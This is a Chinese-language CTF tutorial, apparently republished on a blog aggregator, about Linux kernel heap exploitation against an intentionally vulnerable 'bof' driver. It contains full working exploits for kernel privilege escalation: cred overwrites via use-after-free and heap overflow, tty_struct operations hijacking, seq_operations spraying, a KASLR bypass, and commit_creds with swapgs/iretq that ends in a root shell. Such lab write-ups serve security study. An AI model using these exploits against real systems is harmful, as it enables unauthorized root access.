Linux kernel 堆溢出利用方法

news2024/11/29 3:54:43

前言

本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。

概述

Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy systemslub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

page-zone-node

budy system

buddy systempage 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:

  • 分配:
    • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
    • 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
  • 释放:
    • 将对应的连续内存页释放到对应的链表上。
    • 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。

zone_struct

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。slab allocatorbuddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

  • 分配:
    • 首先从 kmem_cache_cpu 上取对象,若有则直接返回。
    • kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
    • kmem_cache_nodepartial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
  • 释放:
    • 若被释放 object 属于 kmem_cache_cpuslub,直接使用头插法插入当前 CPU slubfreelist
    • 若被释放 object 属于 kmem_cache_nodepartial 链表上的 slub,直接使用头插法插入对应 slubfreelist
    • 若被释放 objectfull slub,则其会成为对应 slubfreelist 头节点,且该 slub 会被放置到 partial 链表。

slub_allocator
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

heap_bof

题目分析

题目给了源码,存在UAFheap overflow两种漏洞。内核版本为4.4.27

#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>

struct class *bof_class;
struct cdev cdev;

int bof_major = 256;
char *ptr[40];// 指针数组,用于存放分配的指针
struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct param p_arg;
    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
    long retval = 0;
    switch (cmd) {
        case 9:
            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
            break;
        case 8:
            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
            break;
        case 7:
            kfree(ptr[p_arg.idx]);
            printk("free: 0x%p\n", ptr[p_arg.idx]);
            break;
        case 5:
            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
            break;
        default:
            retval = -1;
            break;
    }
    return retval;
}

static const struct file_operations bof_fops = {
        .owner = THIS_MODULE,
        .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};

static int bof_init(void) {
    //设备号
    dev_t devno = MKDEV(bof_major, 0);
    int result;
    if (bof_major)//静态分配设备号
        result = register_chrdev_region(devno, 1, "bof");
    else {//动态分配设备号
        result = alloc_chrdev_region(&devno, 0, 1, "bof");
        bof_major = MAJOR(devno);
    }
    printk("bof_major /dev/bof: %d\n", bof_major);
    if (result < 0) return result;
    bof_class = class_create(THIS_MODULE, "bof");
    device_create(bof_class, NULL, devno, NULL, "bof");
    cdev_init(&cdev, &bof_fops);
    cdev.owner = THIS_MODULE;
    cdev_add(&cdev, devno, 1);
    return 0;
}

static void bof_exit(void) {
    cdev_del(&cdev);
    device_destroy(bof_class, MKDEV(bof_major, 0));
    class_destroy(bof_class);
    unregister_chrdev_region(MKDEV(bof_major, 0), 1);
    printk("bof exit success\n");
}

MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);

boot.sh

这道题是多核多线程。并且开启了smepsmap

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -smp cores=2,threads=2 \
  -cpu kvm64,+smep,+smap \

kernel Use After Free

利用思路

cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

int main() {
    int fd = open("dev/bof", O_RDWR);
    struct param p = {0xa8, malloc(0xa8), 1};
    ioctl(fd, BOF_MALLOC, &p);
    ioctl(fd, BOF_FREE, &p);
    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
    if (pid < 0) {
        puts("[-]fork error");
        return -1;
    }
    if (pid == 0) {
        p.buf = malloc(p.len = 0x30);
        memset(p.buf, 0, p.len);
        ioctl(fd, BOF_EDIT, &p); // 修改用户ID
        if (getuid() == 0) {
            puts("[+]root success");
            system("/bin/sh");
        } else {
            puts("[-]root failed");
        }
    } else {
        wait(NULL);
    }
    close(fd);
    return 0;
}

但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

// kernel version == 4.4.72
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
				     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

heap overflow

溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。

利用思路

  1. 多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist
  2. 利用堆溢出,修改被重新申请作为credptr[5]凭证区为0

exp

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

const int BOF_NUM = 10;

int main(void) {
    int bof_fd = open("/dev/bof", O_RDWR);
    if (bof_fd == -1) {
        puts("[-] Failed to open bof device.");
        exit(-1);
    }

    struct param p = {0xa8, malloc(0xa8), 0};

    // 让驱动分配 0x40 个 0xa8  的内存块
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    puts("[*] clear heap done");

    // 让驱动分配 10 个 0xa8  的内存块
    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    p.idx = 5;
    ioctl(bof_fd, 7, &p); // free

    // 调用 fork 分配一个 cred结构体
    int pid = fork();
    if (pid < 0) {
        puts("[-] fork error");
        exit(-1);
    }

    // 此时 ptr[4] 和 cred相邻
    // 溢出 修改 cred 实现提权
    p.idx = 4, p.len = 0xc0 + 0x30;
    memset(p.buf, 0, p.len);
    ioctl(bof_fd, 8, &p);
    if (!pid) {
        //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
        size_t uid = getuid();
        printf("[*] uid: %zx\n", uid);
        if (!uid) {
            puts("[+] root success");
            // 权限修改完毕,启动一个shell,就是root的shell了
            system("/bin/sh");
        } else {
            puts("[-] root fail");
        }
    } else {
        wait(0);
    }
    return 0;
}

tty_struct 劫持

boot.sh

这道题gadget较少,我们就关了smep保护。

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=1 \
  --nographic

利用思路

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,

ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
  -> alloc_tty_struct (drivers/tty/tty_io.c)

tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401

// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC        0x5401
struct tty_struct {
    ...
	const struct tty_operations *ops;
	...
}
struct tty_operations {
    ...
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
    ...
};

使用 tty 设备的前提是挂载了 ptmx 设备。

mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx

所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。

exp

#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;

void get_shell()
{
    system("/bin/sh");
}

unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}

size_t kernel_offset;

void get_root() {
    // 通过栈上残留地址来绕过 KASLR
    __asm__(
        "mov rbx, [rsp + 8];"
        "mov kernel_offset, rbx;"
    );
    kernel_offset -= 0xffffffff814f604f;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_rsp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

int main(int argc, char const *argv[])
{
    save_status();

    size_t fake_tty_ops[] = {
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        get_root
    };

    // len buf idx
    struct param p = {0x2e0, malloc(0x2e0), 0};
    printf("[*]p_addr==>%p\n", &p);

    int bof_fd = open("/dev/bof", O_RDWR);

    p.len = 0x2e0;
    ioctl(bof_fd, BOF_MALLOC, &p);
    memset(p.buf, '\xff', 0x2e0);
    ioctl(bof_fd, BOF_EDIT, &p);
    ioctl(bof_fd, BOF_FREE, &p);

    int ptmx_fd = open("/dev/ptmx", O_RDWR);

    p.len = 0x20;
    ioctl(bof_fd, BOF_READ, &p);
    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);

    *(size_t *)&p.buf[0x18] = &fake_tty_ops;
    ioctl(bof_fd, BOF_EDIT, &p);

    ioctl(ptmx_fd, 0, 0);
    

	return 0;
}

seq_operations 劫持

boot.sh

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=1 \
  --nographic

利用思路

seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

调用读取 stat 文件时会调用 seq_operationsstart 函数指针。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
	struct seq_file *m = file->private_data;
	...
	p = m->op->start(m, &pos);
	...

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEPSMAPKPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

image-20240922171025707

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    long long idx;// 表示 ptr 数组的 索引
};

const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9


void get_shell() { 
    system("/bin/sh"); 
}

size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;

void *init_cred = (void *) 0xFFFFFFFF81E496C0;

size_t kernel_offset;

void get_root() {
    // 通过栈上的残留值绕过KASLR。
    __asm__(
        "mov rax, [rsp + 8];"
        "mov kernel_offset, rax;"
    );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

int main() {
    save_status();

    int bof_fd = open("dev/bof", O_RDWR);
    if (bof_fd < 0) {
        puts("[-] Failed to open bof.");
        exit(-1);
    }

    struct param p = {0x20, malloc(0x20), 0};
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, BOF_MALLOC, &p);
    }
    memset(p.buf, '\xff', p.len);
    ioctl(bof_fd, BOF_EDIT, &p);
    // 大量喷洒 seq_ops 结构体。
    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            puts("[-] Failed to open stat.");
        }
    }
    puts("[*] seq_operations spray finished.");
	
    // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
    p.len = DATA_SIZE;
    p.buf = malloc(DATA_SIZE);
    p.idx = 0;
    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
        *(size_t *) &p.buf[i] = (size_t) get_root;
    }
    ioctl(bof_fd, BOF_EDIT, &p);
    puts("[*] Heap overflow finished.");

    for (int i = 0; i < SEQ_NUM; i++) {
        read(seq_fd[i], p.buf, 1);
    }

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2218757.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode 字符串解码

该代码的算法思想可以分为以下几个步骤&#xff1a; 1. 使用栈来处理嵌套结构&#xff1a; 我们需要处理像 k[encoded_string] 这种格式&#xff0c;其中的 encoded_string 可能是嵌套的&#xff0c;即像 3[a2[c]] 这样的输入。因此&#xff0c;我们可以借助 栈&#xff08;S…

音视频基础知识分享

音视频基础知识分享 RKMedia的各个组件及其交互 首先上图&#xff1a; 考虑到公司业务主要是相机&#xff0c;所以&#xff0c;主要去关注图像数据流&#xff0c;对于音频数据流直接忽略。 图像数据流向&#xff1a; Camera Sensor将光信号转换成电信号&#xff08;Raw数据&…

【大模型】AI视频课程制作工具开发

1. 需求信息 1.1 需求背景 讲师们在制作视频的过程中&#xff0c;发现录制课程比较麻烦&#xff0c;要保证环境安静&#xff0c;保证录制过程不出错&#xff0c;很容易反复重复录制&#xff0c;为了解决重复录制的工作量&#xff0c;想通过 ai 课程制作工具&#xff0c;来解决…

Rust引用与C++取地址、引用的区别(C++引用、Rust解引用、C++指针)

文章目录 Rust引用与C取地址和引用的比较一、内存安全与管理Rust的内存安全机制C的内存管理 二、引用和取地址Rust的引用C的引用和取地址 三、代码示例比较修改数据的安全性Rust示例C示例 四、结论 Rust引用与C取地址和引用的比较 在程序设计语言的世界里&#xff0c;Rust和C都…

【C++】string类(接口使用详解 下)

我们接着【C】string类&#xff08;接口使用详解 上&#xff09;-CSDN博客 继续介绍string的使用。 1.string类对象的修改操作 我们就说一下用的比较多的接口。 1.1 operator 这个接口可以尾插一个字符&#xff0c;或者一个字符串&#xff0c;或者一个对象。 string s1(&qu…

Java—类和对象习题讲解

如果您觉得这篇文章对您有帮助的话 欢迎您一键三连&#xff0c;小编尽全力做到更好 欢迎您分享给更多人哦 目录 习题一&#xff1a; 习题二&#xff1a; 习题三&#xff1a;.import static 能够导入一些静态方法 习题四&#xff1a; 习题五&#xff1a; 习题六&#xff1…

[LeetCode] 415.字符串相加

给定两个字符串形式的非负整数 num1 和num2 &#xff0c;计算它们的和并同样以字符串形式返回。 你不能使用任何內建的用于处理大整数的库&#xff08;比如 BigInteger&#xff09;&#xff0c; 也不能直接将输入的字符串转换为整数形式。 示例 1&#xff1a; 输入&#xff…

SHELL脚本之数组介绍

shell数组 一.数组介绍 一段连续的内存空间&#xff0c;根据需要可以存多个数据。 变量定义&#xff1a;从内存中申请一段空间&#xff0c;用来存储数据。 如果同一种类型的数据&#xff0c;每一个数据都定义一个变量&#xff0c;当机器对这些变量进行寻址的时候&#xff0…

【Neo4j】- 轻松入门图数据库

文章目录 前言-场景一、Neo4j概述二、软件安装部署1.软件下载2.软件部署3.软件使用4.语法学习 总结 前言-场景 这里用大家都了解的关系数据与图数据据库对比着说,更加方便大家理解图数据库的作用 图形数据库和关系数据库均存储信息并表示数据之间的关系。但是&#xff0c;关系…

Aspose.PDF功能演示:使用 JavaScript 从 PDF 中提取文本

在数据提取、业务文档自动化和文本挖掘方面&#xff0c;使用 JavaScript 从PDF中提取文本非常有用。它允许开发人员自动执行从 PDF 收集信息的过程&#xff0c;从而显著提高处理大量文档的生产力和效率。在这篇博文中&#xff0c;我们将学习如何使用 JavaScript 从 PDF 中提取文…

功能安全实战系列-软件FEMA分析与组件鉴定

本文框架 前言1. 功能安全分析1.1 Why1.2 What?1.3 How?1.3.1 分析范围确定1.3.2 失效模式分析1.3.3 安全措施制定1.3.4 确认是否满足功能安全目标2. 软件组件鉴定2.1 Why2.2 How?前言 在本系列笔者将结合工作中对功能安全实战部分的开发经验进一步介绍常用,包括Memory(Fl…

stable diffusion 大模型及lora等下载安装使用教程及项目目录说明

首先说明&#xff0c;stable diffusion大模型并非controlNet中使用的模型&#xff0c;这两者有根本的区别&#xff0c;请仔细区分。 国内可下载模型的站点&#xff1a; 哩布哩布 https://liblib.ai 模型分为几类&#xff0c;下载的时候看清楚类型&#xff0c;都会标记在模型…

Python编程探索:从基础语法到循环结构实践(下)

文章目录 前言&#x1f377;四、 字符串拼接&#xff1a;连接多个字符串&#x1f378;4.1 使用 操作符进行字符串拼接&#x1f378;4.2 使用 join() 方法进行字符串拼接&#x1f378;4.3 使用 format() 方法进行格式化拼接&#x1f378;4.4 使用 f-string&#xff08;格式化字…

【Linux】进程池

目录 进程池 进程池的概念&#xff1a; 手搓进程池&#xff1a; 1、创建信道和子进程 2、通过channel控制子进程 3、回收管道和子进程 进程池 进程池的概念&#xff1a; 定义一个池子&#xff0c;在里面放上固定数量的进程&#xff0c;有需求来了&#xff0c;就拿一个池中…

Linux fork函数

目录 0.前言 1.fork函数初识 2.写时拷贝 3.fork常规用法 4.fork调用失败的原因 5.小结 &#xff08;图像《分叉之光&#xff1a;科幻视角下的Linux进程复制》由AI生成&#xff09; 0.前言 在Linux操作系统中&#xff0c;进程是系统资源管理的核心单元。每一个程序的执行都对…

机器学习(MachineLearning)(8)——模型评估与优化

机器学习&#xff08;MachineLearning&#xff09;&#xff08;1&#xff09;——机器学习概述 机器学习&#xff08;MachineLearning&#xff09;&#xff08;2&#xff09;——线性回归 机器学习&#xff08;MachineLearning&#xff09;&#xff08;3&#xff09;——决策树…

Java网络编程-简单的API调用

Get请求 - 无参数 安装依赖库 首先需要安装一个库&#xff1a; Okhttp3&#xff0c;这是一个非常流行的 HTTP 库&#xff0c;可以简单、快速的实现 HTTP 调用。 安装 Okhttp3 的方式是在 pom.xml 文件中增加依赖&#xff1a; <!-- https://mvnrepository.com/artifact/co…

【Vue.js设计与实现】第三篇第9章:渲染器-简单Diff算法-阅读笔记

文章目录 9.1 减少 DOM 操作的性能开销9.2 DOM 复用与 key 的作用9.3 找到需要移动的元素9.4 如何移动元素9.5 添加新元素9.6 移除不存在的元素 系列目录&#xff1a;【Vue.js设计与实现】阅读笔记目录 当新旧vnode 的子节点都是一组节点时&#xff0c;为了以最小的性能…

PSPICE FOR TI笔记记录1

快捷放置器件 R旋转 连线 w,单击器件引脚方块部分 电压探测笔 创建仿真文件 Analysis Type 分析模式&#xff1a;比如时域分析&#xff0c;频域分析 Run To Time 仿真时长 Skip intial transient bias point calculation (跳过初始瞬态偏置点计算(SKIPBP))一定要勾选 编辑…

高级语言源程序转换为可执行目标文件

将高级语言源程序转换为可执行目标文件的过程通常包括以下几个主要步骤&#xff1a; ​ 1. 预处理&#xff08;Preprocessing&#xff09;&#xff1a; 由谁完成预处理器&#xff08;cpp&#xff09;操作处理源代码中的预处理指令&#xff08;如宏定义、文件包含、条件编译等&…